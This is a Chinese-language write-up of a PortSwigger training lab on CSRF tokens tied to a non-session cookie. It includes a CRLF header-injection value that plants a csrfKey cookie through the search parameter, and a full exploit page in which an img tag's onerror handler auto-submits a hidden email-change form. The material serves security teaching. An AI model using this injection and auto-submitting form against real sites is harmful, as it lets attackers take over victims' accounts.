PortSwigger靶场之CSRF where token is tied to non-session cookie通关秘籍
零、CSRF 令牌与非会话 cookie 绑定
该靶场是CSRF 令牌与用户会话无关漏洞的一个变体是,某些应用程序确实将 CSRF 令牌与 Cookie 绑定,但与用于跟踪会话的 Cookie 并不相同。当应用程序使用两个不同的框架(一个用于会话处理,一个用于 CSRF 防护)且这两个框架未集成在一起时,很容易发生这种情况:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&
email=wiener@normal-user.com
该靶场的核心漏洞在于 CSRF 令牌与独立的 csrfKey
Cookie 绑定,而非与用户会话(session
Cookie)强关联,且网站存在 Cookie 注入点,导致攻击者可通过注入自己的 csrfKey
来绕过防御。以下是详细解析:
一、核心理论:漏洞原理与攻击链
1. 正常的 CSRF 防御逻辑
安全的 CSRF 防御应满足:CSRF 令牌 = 加密(用户会话 ID + 随机值)
,即令牌与用户会话严格绑定,其他用户的令牌无法复用。
2. 本靶场的防御缺陷
- 令牌绑定对象错误:CSRF 令牌仅与独立的
csrfKey
Cookie 绑定(而非用户session
Cookie); csrfKey
可注入:网站搜索功能存在漏洞,允许攻击者通过构造特殊请求,向受害者浏览器注入自己的csrfKey
Cookie;- 攻击链成立:注入
csrfKey
→ 用自己的 CSRF 令牌构造恶意请求 → 受害者访问时,因携带攻击者的csrfKey
而使令牌验证通过。
二、实践步骤:从漏洞验证到攻击实现
前置准备
- 两个测试账户:
wiener:peter
和carlos:montoya
; - 工具:Burp Suite、靶场漏洞服务器。
步骤 1:验证 CSRF 令牌与 csrfKey
的绑定关系
-
登录
wiener
账户,提交 “更改邮箱” 表单,用 Burp 捕获请求: -
发送到 Repeater 测试:
- 仅修改
session
为无效值 → 请求被重定向 - 恢复
session
,仅修改csrfKey
为无效值 → 请求被拒绝(提示 “CSRF 令牌无效”); - 结论:
csrf
令牌验证依赖csrfKey
,而非session
。
- 仅修改
-
跨账户验证:
- 用隐身窗口登录
carlos
账户,捕获其 “更改邮箱” 请求(含carlos
的csrfKey
和csrf
令牌); - 在 Repeater 中,将
carlos
请求的csrfKey
和csrf
替换为wiener
的值 → 请求成功,证明csrfKey
与用户会话无强关联(漏洞确认)。
- 用隐身窗口登录
步骤 2:找到 Cookie 注入点(搜索功能)
-
在
wiener
账户中执行搜索(如搜索关键词test
),用 Burp 捕获请求: -
发送到 Repeater 测试注入:
- 修改搜索参数为
test%0d%0aSet-Cookie: csrfKey=my-injected-key; SameSite=None
(%0d%0a
是换行符,用于分割 HTTP 头); - 发送请求后,查看响应头 → 包含
Set-Cookie: csrfKey=my-injected-key
,证明可通过搜索功能注入 Cookie。
- 修改搜索参数为
步骤 3:构造恶意 HTML(含 Cookie 注入 + CSRF 攻击)
核心逻辑
- 用
<img>
标签加载含csrfKey
注入的搜索 URL,强制受害者浏览器写入攻击者的csrfKey
; - 注入完成后,自动提交含攻击者 CSRF 令牌的 “更改邮箱” 表单。
恶意 HTML 代码(替换占位符)
<!-- 1. 注入攻击者的csrfKey -->
<img src="https://0a1600bc0493bd8282006528000e00fb.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=gERvvcXswQdTrojNb9qG9eVx1lAhr37E%3b%20SameSite=None" onerror="document.forms[0].submit()"> <!-- 加载失败时触发提交 --><!-- 2. 提交含攻击者令牌的表单 -->
<form method="POST" action="https://0a1600bc0493bd8282006528000e00fb.web-security-academy.net/my-account/change-email"><input type="hidden" name="email" value="2@qq.com"><input type="hidden" name="csrf" value="tW0x8K4q7OcUkEsac7EeZeBFj6bRdwvt"> <!-- 攻击者的csrf令牌 -->
</form>
- 替换
WIENER-CSRFKEY
:wiener
账户的csrfKey
Cookie 值; - 替换
WIENER-CSRF-TOKEN
:wiener
账户 “更改邮箱” 请求中的csrf
参数值; - 替换
email
:未被占用的新邮箱(2@qq.com)。
步骤 4:上传并验证攻击效果
- 上传到漏洞服务器:将上述 HTML 粘贴到靶场漏洞服务器的 “Body” 中,点击 “Store”;
- 自测验证:
- 用隐身窗口登录
carlos
账户(模拟受害者); - 访问漏洞服务器的 “View Exploit” 链接;
- 检查
carlos
的账户邮箱是否已被修改 → 若成功,证明攻击有效。
- 用隐身窗口登录
步骤 5:发起最终攻击
- 确认
email
为未占用的新邮箱; - 点击漏洞服务器的 “Deliver to Victim” → 靶场提示 “Lab solved” 即完成。
三、关键注意事项
SameSite=None
必须添加:确保注入的csrfKey
在跨站请求中被发送;onerror
触发机制:<img>
加载会失败(因 URL 无效),触发onerror
执行表单提交,保证注入先于提交;- 令牌与
csrfKey
匹配:必须使用同一账户的csrfKey
和csrf
令牌(如均来自wiener
)。
通过以上步骤,利用 “令牌与非会话 Cookie 绑定” 和 “Cookie 注入” 的组合漏洞,即可成功完成 CSRF 攻击。